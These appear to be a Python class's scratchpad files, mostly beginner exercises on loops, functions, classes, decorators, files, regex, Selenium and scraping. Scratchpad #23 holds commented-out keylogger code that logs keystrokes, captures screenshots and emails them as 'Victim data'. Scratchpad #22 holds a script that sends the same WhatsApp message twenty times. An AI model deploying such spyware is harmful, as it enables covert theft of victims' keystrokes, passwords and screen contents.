Python Daily Evening Jan 2023
Python Daily Evening Jan 2023
Scratchpad #4
# name = input("Please enter your name: ") # if name == "Steve Jobs": # print("Hello Steve") # elif name == "Steve Wozniak": # print("Hello Steve GOAT") # elif name == "Adani": # print("Hello Chor <- By Soham") # else: # print("I don't know you") # age = int(input("Please enter your age: ")) # if age >= 65: # print("Drinks are free") # elif age >= 21: # print("You can enter and you can drink") # elif age >= 18: # print("You can enter but you cannot drink") # else: # print("Not allowed") # is_logged_in = None # if is_logged_in: # print("Welcome to your dashboard") # else: # print("Access denied. Please login to access dashboard.") # age = int(input("Please enter your age: ")) # if age >= 18 and age < 21: # print("You can enter but you cannot drink") # elif age >= 21 and age < 65: # print("You can enter and you can drink") # elif age >= 65: # print("Drinks are free") # else: # print("Not allowed") # age = input("Please enter your age: ") # if age: # age = int(age) # if age >= 18 and age < 21: # print("You can enter but you cannot drink") # elif age >= 21 and age < 65: # print("You can enter and you can drink") # elif age >= 65: # print("Drinks are free") # else: # print("Not allowed") # else: # print("Please enter a valid age.") # player1 = input("Enter player1's choice: ") # player2 = input("Enter player2's choice: ") # if (player1 == 'rock' and player2 == 'scissors') or ( # player1 == 'paper' and player2 == 'rock') or (player1 == 'scissors' # and player2 == 'paper'): # print("Player 1 wins") # elif (player2 == 'rock' and player1 == 'scissors') or ( # player2 == 'paper' and player1 == 'rock') or (player2 == 'scissors' # and player1 == 'paper'): # print("Player 2 wins") # elif player1 == player2: # print("It's a draw") # else: # print("Something went wrong") # name = "John Doe" # for x in name: # print(x) # for num in range(0, 20): # print(f"{num} - hello world") # for num in range(1, 11, 3): # print(num) for num in range(0, 10, -2): print(num)
Scratchpad #5
# # for num in range(1, 21): # # if num == 5 or num == 16: # # print(f"FIZZBUZZ") # # elif num % 2 == 0: # # print(f"{num} - Fizz is even") # # elif num % 2 != 0: # # print(f"{num} - Fizz is odd") # # password = input("Please enter your password: ") # # while password != 'testpass': # # print("Incorrect Password! Please try again.") # # password = input("Please enter your password again: ") # # for num in range(10): # # print(num) # # count = 0 # # while count < 10: # # print(count) # # count += 1 # # password = input("Please enter your password: ") # # while password != 'testpass': # # if password == 'quit': # # break # # print("Incorrect Password! Please try again.") # # password = input("Please enter your password again: ") # # while True: # # if password == 'testpass': # # break # # print("Incorrect Password! Please try again.") # # password = input("Please enter your password again: ") # while True: # player1 = input("Enter player1's choice: ") # player2 = input("Enter player2's choice: ") # if (player1 == 'rock' and player2 == 'scissors') or ( # player1 == 'paper' # and player2 == 'rock') or (player1 == 'scissors' # and player2 == 'paper'): # print("Player 1 wins") # elif (player2 == 'rock' and player1 == 'scissors') or ( # player2 == 'paper' # and player1 == 'rock') or (player2 == 'scissors' # and player1 == 'paper'): # print("Player 2 wins") # elif player1 == player2: # print("It's a draw") # else: # print("Something went wrong") # play_again = input("Do you want to play again (yes/no): ") # if play_again != 'yes': # break langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"] for lang in langs: print(lang.upper())
Scratchpad #6
# # # nums = [1, 2, 3, 4, 5, 6] # # # doubles = [] # # # doubles2 = [num * 3 for num in nums] # # # for num in nums: # # # doubles.append(num * 2) # # # print(doubles) # # # print(doubles2) # # nums = [1, 2, 3, 4, 5, 6] # # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] # # total = 0 # # for lst in nested_list: # # for num in lst: # # total += num # # print(total) # nested_list = [[[1, 2, 3], [1, 2, 3], [1, 2, 3]], # [[1, 2, 3], [1, 2, 3], [1, 2, 3]], # [[1, 2, 3], [1, 2, 3], [1, 2, 3]]] # # loop over -> print all the numbers # # loop over and total all the numbers # # 2 vars. evens, odds, -> loop over # # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] # # i = 0 # # while i < len(nested_list): # # print(nested_list[i]) # # i += 1 # nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] # i = 0 # while i < len(nested_list): # j = 0 # while j < len(nested_list[i]): # print(nested_list[i][j]) # j += 1 # i += 1 nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] results = [[num * 2 if num % 2 == 0 else num / 2 for num in lst] for lst in nested_list] print(results)
Scratchpad #7 and #8
# product = [ # 64, 128, True, "DDR4", "AMD Ryzen Threadripper 3990X", 333999.00, True # ] # product = { # "no_of_cores": 64, # "no_of_threads": 128, # "unlocked": True, # "memory_type": "DDR4", # "name": "AMD Ryzen Threadripper 3990X", # "price": 333999.00, # 1: True # } # print(product["name"]) # "50000" -> "5,00,000" product = { "no_of_cores": 64, "no_of_threads": 128, "unlocked": True, "memory_type": "DDR4", "name": "AMD Ryzen Threadripper 3990X", "price": 333999.0, } # for key in product.keys(): # print(key, product[key]) # for item in product.items(): # print(item, item[0], item[1]) # for key, value in product.items(): # print(key, value) # def greet(): # print("Hello world") # print("Goodbye World") # greet() # greet() # greet() # greet() # greet() # greet() from random import random def flip_coin(): if random() > 0.5: print("hello world") return "HEADS" else: return "TAILS" print(flip_coin())
Scratchpad #9
# def add(a, b): # return a + b # print(add(10, 5)) # def add_number(nums): # total = 0 # for num in nums: # total += num # return total # print(add_number([1, 2, 3, 4, 5, 6, 7, 8])) # def is_odd(num): # if num % 2 != 0: # return True # return False # print(is_odd(9)) # def multiply(a=1, b=1): # return a * b # print(multiply()) # def add(a, b): # return a + b # def sub(a, b): # return a - b # def math(a, b, fn=add): # return fn(a, b) # print(math(10, 5, sub)) # # hello = add # print(hello(10, 5)) # def greet(first_name, last_name, message): # print(f"{message}, {first_name} {last_name}") # greet(message="Hello", first_name="John", last_name="Doe") # name = "John Doe" # def greet(): # name = "Jane Smith" # print(name) # greet() # # print(name) # total = 0 # def func(): # has a side-effect # global total # total += 1 # print(total) # func() # def outer(): # count = 0 # def inner(): # nonlocal count # count += 1 # print(count) # inner() # outer() def multiply(a=1, b=1): """A function that multiplies two numbers""" return a * b print(multiply.__doc__)
Scratchpad #10
# import random # SUITS_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds") # RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", # "Queen", "King") # NCARDS = 8 # def get_card(deck_list_in): # this_card = deck_list_in.pop() # return this_card # def shuffle(deck_list_in): # deck_list_out = deck_list_in.copy() # random.shuffle(deck_list_out) # return deck_list_out # print("Welcome to higher or lower") # print( # "You have to choose whether the next card to be shown will be higher or lower than the current card" # ) # print( # "Getting it right adds 20 points; get it wrong and you will lose 15 points" # ) # print("You have 50 points to start") # print() # starting_deck_list = [] # for suit in SUITS_TUPLE: # for this_value, rank in enumerate(RANK_TUPLE): # card_dict = {"rank": rank, "suit": suit, "value": this_value} # starting_deck_list.append(card_dict) # score = 50 # while True: # print() # game_deck_list = shuffle(starting_deck_list) # current_card_dict = get_card(game_deck_list) # current_card_rank = current_card_dict["rank"] # current_card_suit = current_card_dict["suit"] # current_card_value = current_card_dict["value"] # print(f"Starting card is {current_card_rank} of {current_card_suit}") # print() # for card_number in range(0, NCARDS): # answer = input( # f"Will the next card be higher or lower than {current_card_rank} of {current_card_suit}? (enter h or l): " # ) # answer = answer.casefold() # next_card_dict = get_card(game_deck_list) # next_card_rank = next_card_dict["rank"] # next_card_suit = next_card_dict["suit"] # next_card_value = next_card_dict["value"] # print(f"Next card is {next_card_rank} of {next_card_suit}") # if answer == 'h': # if next_card_value > current_card_value: # print("You got it right, it was higher") # score += 20 # else: # print("Sorry, it was not higher") # score -= 15 # elif answer == 'l': # if next_card_value < current_card_value: # print("You got it right, it was lower") # score += 20 # else: # print("Sorry, it was not lower") # score -= 15 # print(f"Your score is: {score}") # print() # current_card_rank = next_card_rank # current_card_suit = next_card_suit # current_card_value = next_card_value # go_again = input("To play again, press ENTER, or 'q' to quit: ") # if go_again == 'q': # break # print("Thank you for playing. Good bye.") # def add(*nums): # total = 0 # for num in nums: # total += num # return total # print(add(10, 4, 234, 5, 1)) # def profile(**values): # print(values) # profile(hello="world", first_name="john", last_name="doe") # def show_info(a, b, *args, role="moderator", **kwargs): # return [a, b, args, role, kwargs] # print( # show_info( # 10, # 20, # 30, # 40, # 50, # 60, # hello="world", # test="info", # role="admin", # )) # def add(*nums): # total = 0 # for num in nums: # total += num # return total # data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] # print(add(*data)) # def say_name(first, last): # print(f"My name is {first} {last}.") # name = {"first": "Robert", "last": "Moore"} # say_name(**name) # make_capitalize("hello world, this is something") -> "Hello World, This Is Something" # get_negatives(1,-2,34,5,-6,7,-87,342) -> [-2,-6,-87] # find_and_replace("hello world, hello again", "hello", "namaste") -> "namaste world, namaste again"
Scratchpad #11
# # # # # def add(a, b): # # # # # return a + b # # # # # hello = add # # # # # print(hello(10, 2)) # # # # # add = lambda a, b: a + b # # # # # print(add(10, 5)) # # # # def math(a, b, fn): # # # # return fn(a, b) # # # # def add(a, b): # # # # return a + b # # # # def sub(a, b): # # # # return a - b # # # # # print(math(10, 5, sub)) # # # # print(math(10, 5, lambda a, b: a - b)) # # # nums = [7, 3, 3, 2, 1, 6] # # # # evens = [num for num in nums if num % 2 == 0] # # # evens = filter(lambda num: num % 2 == 0, nums) # # # print(list(evens)) # # # # doubles = [num * 2 for num in nums] # # # # print(doubles) # # # # doubles2 = map(lambda num: num * 2, nums) # # # # print(list(doubles2)) # # names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob'] # # print( # # list( # # map(lambda name: f"The one who wins is {name}", # # filter(lambda name: len(name) < 5, names)))) # def colorize(text, color): # colors = ('red', 'blue', 'green', 'white', 'purple', 'orange') # if type(text) != str: # raise TypeError('Text has to be a string') # if color not in colors: # raise Exception("This color is not allowed") # print(f"{text} in {color}") # colorize("Hello World", "navy blue")
Scratchpad #12
# # def colorize(text, color): # # colors = ('red', 'blue', 'green', 'white', 'purple', 'orange') # # if type(text) != str: # # raise TypeError('Text has to be a string') # # if color not in colors: # # raise ValueError("This color is not allowed") # # print(f"{text} in {color}") # # try: # # colorize("Hello World", "navy blue") # # except (TypeError, ValueError) as err: # # print(err) # # # print("Something went wrong") # # try: # # colorize("Hello World", "navy blue") # # except Exception as err: # # print(err) # # # print("Something went wrong") # # print("I am running after the colorize call") # def div(a, b): # return a / b # try: # result = div(10, "5") # except Exception as err: # print(err) # else: # print(result) # finally: # print("I will always run no matter success or failure") # import random as r # def random(): # return "hello world" # print(r.random()) # print(r.randint(10, 50)) # from random import random, randint # # from random import * # print(random()) # print(randint(10, 50)) # print(round(10.6)) # function round -> rounding # function random(100) -> 1 and 100 # def make_user(first_name, last_name, age, email, phone, password): # return { # "first_name": first_name, # "last_name": last_name, # "age": age, # "email": email, # "phone": phone, # "password": password # } # def login(user, password): # if password == user["password"]: # return True # raise ValueError("Incorrect password") # def logout(user): # print(f"{user['email']} as successfully logged out") # return True # user1 = make_user("Kim", "Kardashian", 41, "[email protected]", # "+1 12345 1234", "east") # login(user1, "east") # print(user1) def user(first_name, last_name, age, email, phone, password): data = { "first_name": first_name, "last_name": last_name, "age": age, "email": email, "phone": phone, "password": password, } def login(password): if password == data["password"]: return True raise ValueError("Incorrect password") def logout(): print(f"{data['email']} as successfully logged out") return True return {**data, "login": login, "logout": logout} user1 = user("Kim", "Kardashian", 41, "[email protected]", "+1 12345 1234", "east") print(user1["login"]("east")) class User: def __init__(self, first_name, last_name, age, email, phone, password): self.first_name = first_name self.last_name = last_name self.age = age self.email = email self.phone = phone self.password = password def login(self, password): if password == self.password: return True raise ValueError("Incorrect password") def logout(self): print(f"{self.email} as successfully logged out") return True kim = User("Kim", "Kardashian", 41, "[email protected]", "+1 12345 1234", "east") jong = User("Kim", "Kardashian", 41, "[email protected]", "+1 12345 1234", "east") print(kim.login("east")) print(jong.login("east")) print(type(kim))
Scratchpad #14
class User: total_users = 0 def __init__(self, first_name, last_name, age): self.first_name = first_name self.last_name = last_name self._age = age self.city = "Mumbai" User.total_users += 1 def greet(self): return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old." def get_age(self): print("RUN SOME OTHER LOGIC") return self._age def set_age(self, new_age): self._age = new_age return self._age user1 = User("John", "Doe", 20) user2 = User("John", "Smith", 35) user3 = User("John", "Smith", 35) print(User.total_users) # print(user1.last_name) # user2.age = 30 # print(user2.age) # print(user1.greet()) # print(user2.greet()) # print(user1.get_age())
Scratchpad #15
# # class User: # # total_users = 0 # # def __init__(self, first_name, last_name, age): # # self.first_name = first_name # # self.last_name = last_name # # self._age = age # # self.city = "Mumbai" # # User.total_users += 1 # # def __repr__(self): # # return f"{self.first_name} {self.last_name}" # # @classmethod # # def get_total_users(cls): # # return cls.total_users # # def greet(self): # # return f"Hello, my name is {self.first_name} {self.last_name} and I am {self.age} years old." # # def get_age(self): # # print("RUN SOME OTHER LOGIC") # # return self._age # # def set_age(self, new_age): # # self._age = new_age # # return self._age # # user1 = User("John", "Doe", 20) # # # user2 = User("Jane", "Smith", 35) # # # # print(User.get_total_users()) # # # print(user1) # # class Admin(User): # # def create_group(self, group_name): # # return f"{group_name} was created" # # admin1 = Admin("Jack", "Smith", 30) # # print(admin1.get_age()) # # print(admin1.create_group("hello world")) # # print(user1.create_group("hello world")) # # class User: # # def __init__(self, first_name, last_name, age): # # self.first_name = first_name # # self.last_name = last_name # # self._age = age # # @property # # def age(self): # # return self._age # # @age.setter # # def age(self, new_age): # # self._age = new_age # # def get_age(self): # # return self._age # # def set_age(self, new_age): # # self._age = new_age # # return self._age # # user1 = User('John', 'Doe', 20) # # user1.age = 45 # # print(user1.age) # # print(user1.set_age(10)) # # print(user1.get_age()) # # class Admin(User): # # def __init__(self, first_name, last_name, age, phone): # # super().__init__(first_name, last_name, age) # # self.phone = phone # # admin1 = Admin('Jane', 'Smith', 20, '123456') # # print(admin1.phone) # # class Human: # # def __init__(self, name): # # self.name = name # # def speak(self): # # print("Hello World") # # class Animal: # # def __init__(self, name): # # self.name = name # # def speak(self): # # print("asjkndkjasndansd") # # class Mutant(Animal, Human): # # def __init__(self, name): # # self.name = name # # john = Human("John Doe") # # tom = Animal("Tommy") # # witcher = Mutant("Geralt") # # witcher.speak() # class User: # def __init__(self, first_name, last_name, age): # self.first_name = first_name # self.last_name = last_name # self._age = age # def __len__(self): # return self._age # def __add__(self, obj): # return User("new", "born", 0) # def greet(self): # return "Hello World" # class Admin(User): # def greet(self): # return "Hello Universe" # user1 = User("Jane", "Smith", 20) # user2 = User("John", "Smith", 20) # admin1 = Admin("John", "Doe", 20) # # print(user1.greet()) # # print(admin1.greet()) # print(len(user1)) # print(user1 + user2) # a = [1, 2, 3, 4, 5] # for num = iter(a) in a: # print(next(num))
Scratchpad 16
# # # a = [1, 2, 3, 4] # # # def my_map(func, iterable): # # # iterator = iter(iterable) # # # while True: # # # try: # # # func(next(iterator)) # # # except StopIteration: # # # break # # # my_map(lambda num: print(num), a) # # # for num in range(100): # # # print(num) # # class Counter: # # def __init__(self, start, end, step=1): # # self.start = start # # self.end = end # # self.step = step # # def __repr__(self): # # return f"Counter({self.start}, {self.end}, {self.step})" # # def __iter__(self): # # return self # # def __next__(self): # # if self.start < self.end: # # num = self.start # # self.start += self.step # # return num # # else: # # raise StopIteration # # # for num in Counter(10, 50, 5): # # # print(num) # # r = range(0, 50, 5) # # c = Counter(10, 50, 5) # # print(r) # # print(c) # # # for num = next(a) in a = iter(Counter(0, 100)): # # # print(num) # # def counter(start, end, step=1): # # count = start # # while count < end: # # yield count # # count += step # # result = counter(0, 10, 2) # # for num in result: # # print(num) # def fib_list(max): # nums = [] # a, b = 0, 1 # while len(nums) < max: # nums.append(b) # a, b = b, a + b # return nums # def fib_gen(max): # a, b = 0, 1 # count = 0 # while count < max: # a, b = b, a + b # yield a # count += 1 # # a b nums # # 0 1 [1, ] # # 1 1 [1, 1, ] # # 1 2 [1, 1, 2, ] # # 2 3 [1, 1, 2, 3, ] # # print(fib_list(100000000000)) # [1, 1, 2, 3] # for num in fib_gen(100000000000): # print(num) import time gen_start_time = time.time() print(sum(num for num in range(100000000))) gen_stop_time = time.time() - gen_start_time print(f"Gen Time: {gen_stop_time}") list_start_time = time.time() print(sum([num for num in range(100000000)])) list_stop_time = time.time() - list_start_time print(f"List Time: {list_stop_time}")
Scratchpad #17
# # def sum(n, func): # # total = 0 # # for num in range(n): # # total += func(num) # # return total # # print(sum(10, lambda num: num**3)) # import random # def greet(person): # def get_mood(): # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"] # msg = random.choice(mood) # return msg # result = f"{get_mood()} {person}" # return result # print(greet("John")) # import random # def make_greet_func(person): # def make_message(): # msg = random.choice( # ["Hey", "What!", "What the heck do you want!", "Get lost!"]) # return f"{msg} {person}" # return make_message # result1 = make_greet_func("John") # result2 = make_greet_func("Jane") # print(result1()) # print(result2()) # def stars(fn): # def wrapper(): # print("*" * 10) # fn() # print("*" * 10) # return wrapper # @stars # greet = stars(greet) # def greet(): # print("Hello World") # # greet = stars(greet) # greet() from functools import wraps def make_upper_case(fn): """Decorator that uppercases the returned string""" @wraps(fn) def wrapper(*args, **kwargs): """Wrapper function""" return fn(*args, **kwargs).upper() return wrapper @make_upper_case def greet(person): return f"Hello, {person}" # greet = wrapper(name) # accepts 1 arg @make_upper_case # greet2 = wrapper(name) def greet2(person, message): """Function that accepts a person and a message prints it""" return f"{message}, {person}" # print(greet("John")) # print(greet2("John", "Hi")) print(greet2.__doc__)
Scratchpad #19
from functools import wraps # def stars(fn): # @wraps(fn) # wrapper = wraps(wrapper) # def wrapper(*arg, **kwargs): # print("*" * 10) # fn(*arg, **kwargs) # print("*" * 10) # return wrapper # @stars # greet = stars(greet) => wrapper # def greet(person): # print(f"Hello {person}") # greet("John") # def ensure_first_arg_is(val): # def inner(fn): # def wrapper(*args, **kwargs): # if args and args[0] != val: # raise ValueError(f"First arg needs to be {val}") # else: # return fn(*args, **kwargs) # return wrapper # return inner # # fav_movies = ensure_first_arg_is("the matrix")(fav_movies) # @ensure_first_arg_is("the matrix") # def fav_movies(*movies): # print(movies) # fav_movies("the matrix", "3 idiots", "pathan", "sultan", "avatar", "8 mile") def enforce(*types): def inner(fn): def wrapper(*args, **kwargs): new_args = [] # ['hello world', 10] for a, t in zip(args, types): # [('hello world', str), ('10', int)] try: new_args.append(t(a)) except (ValueError, TypeError): print("Something went wrong") return "Something went wrong" return fn(*new_args) return wrapper return inner @enforce(str, int) def announce(msg, times): print((msg + "\n") * times) announce(True, 'asdasd')
Scratchpad #20
# file = open("hello.txt") # print(file.read()) # file.close() # print(file.closed) # with open("hello.txt") as file: # print(file.read()) # print(file.closed) # with open("hello.txt", "r+") as file: # file.write("Hello World " * 20) # file.seek(0) # file.write("THIS IS SOME NEW CONTENT") from csv import reader, DictReader, writer, DictWriter # with open("hello.csv") as file: # csv_reader = reader(file) # for row in csv_reader: # print(row) # with open("hello.csv") as file: # contents = file.read() # result = [row.split(",") for row in contents.split("\n")] # print(result) # with open("hello.csv") as file: # csv = DictReader(file) # print(list(csv)) # with open("pokemon.csv", "w", newline="") as file: # csv_writer = writer(file) # csv_writer.writerow(["Name", "Type"]) # csv_writer.writerow(["Pikachu", "Electric"]) # csv_writer.writerow(["Balbasaur", "Grass"]) # with open("pokemon.csv", "w", newline="") as file: # headers = ["Name", "Type", "Abilities"] # csv_writer = DictWriter(file, fieldnames=headers) # csv_writer.writeheader() # csv_writer.writerow({ # "Abilities": "Thundershock", # "Name": "Pikachu", # "Type": "Electric", # }) import pickle class User: def __init__(self, first_name, last_name, age): self.first_name = first_name self.last_name = last_name self.age = age def __repr__(self): return self.first_name def greet(self): print(f"Hello World. I am {self.first_name}") # user1 = User("john", "doe", 20) # user2 = User("jane", "doe", 39) # user1.greet() # print(user1.__dict__) # with open("user-data.pickle", "wb") as file: # pickle.dump((user1, user2), file) with open("user-data.pickle", "rb") as file: restore_users = pickle.load(file) # restore_user1.greet() print(restore_users)
Scratchpad #21
# import json # import jsonpickle # class User: # def __init__(self, first_name, last_name, age): # self.first_name = first_name # self.last_name = last_name # self.age = age # def __repr__(self): # return self.first_name # def greet(self): # print(f"Hello World. I am {self.first_name}") # # user1 = User("john", "doe", 20) # # # print(json.dumps(user1.__dict__)) # # with open("data.json", "w") as file: # # stored = jsonpickle.encode(user1) # # file.write(stored) # with open("data.json") as file: # contents = file.read() # restored = jsonpickle.decode(contents) # print(restored) # restored.greet() import re # pattern = re.compile(r"\+91\s\d{3}\s\d{4}\s?\d{4}") # # result = pattern.search("Hello call us on +91 022 23456789 or +91 022 83456789") # # print(result.group()) # result = pattern.findall("Hello call us on +91 022 23456789 or +91 022 83456789") # print(result) # def extract_phone(input): # phone_regex = re.compile(r"\+91\s\d{3}\s\d{4}\s?\d{4}") # match = phone_regex.search(input) # if match: # return match.group() # return None # print(extract_phone("Hello call us on +91 022 23456789 or +91 022 83456789")) def is_valid_phone(input): phone_regex = re.compile(r"\+91\s\d{3}\s\d{4}\s?\d{4}") match = phone_regex.fullmatch(input) if match: return True return False print(is_valid_phone("+91 022 23456789"))
Scratchpad #22
# from datetime import datetime # import threading # import multiprocessing # def dummy_func(x): # print(f"Job-{x} started: {datetime.now()}") # a = [] # for i in range(40000): # for j in range(2000): # a.append([i, j]) # a.clear() # print(f"Job-{x} ended: {datetime.now()}") # # start_time = datetime.now() # # dummy_func(1) # # dummy_func(2) # # dummy_func(3) # # dummy_func(4) # # print(f"Total time taken: {datetime.now() - start_time}") # if __name__ == "__main__": # # t1 = threading.Thread(target=dummy_func, args=(1,)) # # t2 = threading.Thread(target=dummy_func, args=(2,)) # # t3 = threading.Thread(target=dummy_func, args=(3,)) # # t4 = threading.Thread(target=dummy_func, args=(4,)) # # start_time = datetime.now() # # t1.start() # # t2.start() # # t3.start() # # t4.start() # # t1.join() # # t2.join() # # t3.join() # # t4.join() # # print(f"Total time taken: {datetime.now() - start_time}") # p1 = multiprocessing.Process(target=dummy_func, args=(1,)) # p2 = multiprocessing.Process(target=dummy_func, args=(2,)) # p3 = multiprocessing.Process(target=dummy_func, args=(3,)) # p4 = multiprocessing.Process(target=dummy_func, args=(4,)) # start_time = datetime.now() # p1.start() # p2.start() # p3.start() # p4.start() # p1.join() # p2.join() # p3.join() # p4.join() # print(f"Total time taken: {datetime.now() - start_time}") from selenium import webdriver from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By # from time import sleep # browser = webdriver.Chrome("chromedriver.exe") # browser.maximize_window() # browser.get("https://www.youtube.com/") # search_box = browser.find_element( # By.XPATH, # "/html/body/ytd-app/div[1]/div/ytd-masthead/div[4]/div[2]/ytd-searchbox/form/div[1]/div[1]/input", # ) # search_box.click() # search_box.send_keys("flash trailer", Keys.ENTER) # sleep(3) # # video = browser.find_element( # # By.XPATH, # # "/html/body/ytd-app/div[1]/ytd-page-manager/ytd-search/div[1]/ytd-two-column-search-results-renderer/div/ytd-section-list-renderer/div[2]/ytd-item-section-renderer/div[3]/ytd-video-renderer[1]/div[1]/div/div[1]/div/h3/a/yt-formatted-string", # # ) # # video.click() # # sleep(5) # # video = browser.find_element(By.PARTIAL_LINK_TEXT, "Marvel Studio") # # sleep(1) # # video.click() # # ------------------------------------ # sleep(5) # browser.close() from time import sleep browser = webdriver.Chrome("chromedriver.exe") browser.maximize_window() browser.get("https://web.whatsapp.com/") sleep(35) search_box = browser.find_element( By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[2]" ) search_box.click() search_box.send_keys("PYTHON EVENING RS 20/1/23", Keys.ENTER) sleep(1) for i in range(20): message_box = browser.find_element( By.XPATH, "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]", ) sleep(1) message_box.click() message_box.send_keys("TEST MESSAGE FROM PYTHON", Keys.ENTER) # browser.close()
Scratchpad #24
# import paramiko # HOST = "" # USER = "" # PASSWORD = "" # ssh = paramiko.SSHClient() # ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # ssh.connect(HOST, username=USER, password=PASSWORD) # stdin, stdout, stderr = ssh.exec_command("sudo apt-get update") # print(stdout.read().decode()) # stdin, stdout, stderr = ssh.exec_command("sudo apt-get install -y apache2") # print(stdout.read().decode()) # html = "<html><body><h1>HELLO WORLD FROM PYTHON SCRIPT!</h1></body></html>" # stdin, stdout, stderr = ssh.exec_command( # f"echo '{html}' | sudo tee /var/www/html/index.html" # ) # print(stdout.read().decode()) # stdin, stdout, stderr = ssh.exec_command("sudo service apache2 start") # print(stdout.read().decode()) # ssh.close() # --------------------------- # import pyautogui # import os # import time # filename = "example.txt" # content = "HELLO WORLD FROM PYTHON!" # pyautogui.press("winleft") # pyautogui.write("notepad") # pyautogui.press("enter") # time.sleep(1) # pyautogui.write(content) # pyautogui.hotkey("ctrl", "s") # pyautogui.write(filename) # pyautogui.press("enter") # time.sleep(1) # pyautogui.press("enter") # print(f"Successfully created file in Downloads folder.") # --------------------------------------------- # from pytube import YouTube # video_url = input("Enter the YouTube video URL: ") # yt = YouTube(video_url) # stream = yt.streams.get_highest_resolution() # stream.download() # print(f"Successfully downloaded") # ---------------------------------------------
Scratchpad #23
# from pynput.keyboard import Key, Listener # import pyautogui # from time import sleep # from datetime import datetime # import yagmail # count = 0 # keys = [] # try: # def on_press(key): # global keys, count # keys.append(key) # count += 1 # if count >= 10: # write_file(keys) # keys = [] # def write_file(keys): # with open("log.txt", "a") as f: # for key in keys: # k = str(key).replace("'", "") # if k.find("space") > 0: # f.write(str(" ")) # elif k.find("cap_lock") > 0: # f.write(str("<CAPS_LOCK>")) # elif k.find("enter") > 0: # f.write("\n") # elif k.find("Key") == -1: # f.write(k) # def on_release(key): # if key == Key.esc: # return False # def take_screenshot(): # screen = pyautogui.screenshot() # screen.save("screenshot.png") # def send_email(): # receiver_email = "" # subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y :: %H:%M:%S')}" # yag = yagmail.SMTP("", "") # contents = ["<b><font color='red'>Your Victim Data</font></b>"] # attachments = ["log.txt", "screenshot.png"] # yag.send(receiver_email, subject, contents, attachments) # print("Email sent") # with Listener(on_press=on_press, on_release=on_release) as listener: # while True: # sleep(30) # take_screenshot() # send_email() # listener.join() # except KeyboardInterrupt: # print("Program closed") # from bs4 import BeautifulSoup # data = """ # <!DOCTYPE html> # <html lang="en"> # <head> # <meta charset="UTF-8" /> # <title>My App</title> # </head> # <body> # <h1>Hello World</h1> # <h2 class="test">Hello World</h2> # <p id="hello"> # Lorem ipsum dolor, sit amet consectetur adipisicing elit. Quisquam quidem # corporis, exercitationem expedita ipsam ab? Exercitationem quibusdam sunt # excepturi voluptatem perspiciatis ex delectus at, dolore praesentium # doloremque laborum voluptatibus nisi. # </p> # <ul> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # <li> # Lorem ipsum dolor sit, amet consectetur adipisicing elit. Ullam, minima. # </li> # </ul> # </body> # </html> # """ # soup = BeautifulSoup(data, "html.parser") # print(soup.body.h1) # print(type(soup.body.h1)) # print(soup.find("li")) # print(soup.find_all("li")) # el = soup.find(class_="test") # print(el.find_next_sibling()) # print(el.find_parent()) # print(soup.find("p")["id"]) import requests from bs4 import BeautifulSoup from csv import writer response = requests.get("https://arstechnica.com/") soup = BeautifulSoup(response.text, "html.parser") articles = soup.find_all(class_="article") with open("articles.csv", "w", newline="") as file: csv_writer = writer(file) csv_writer.writerow(["title", "excerpt", "author", "date", "link"]) for article in articles: title = article.find("h2").get_text() excerpt = article.find(class_="excerpt").get_text() author = article.find("span").get_text() date = article.find(class_="date").get_text() link = article.find("a")["href"] csv_writer.writerow([title, excerpt, author, date, link])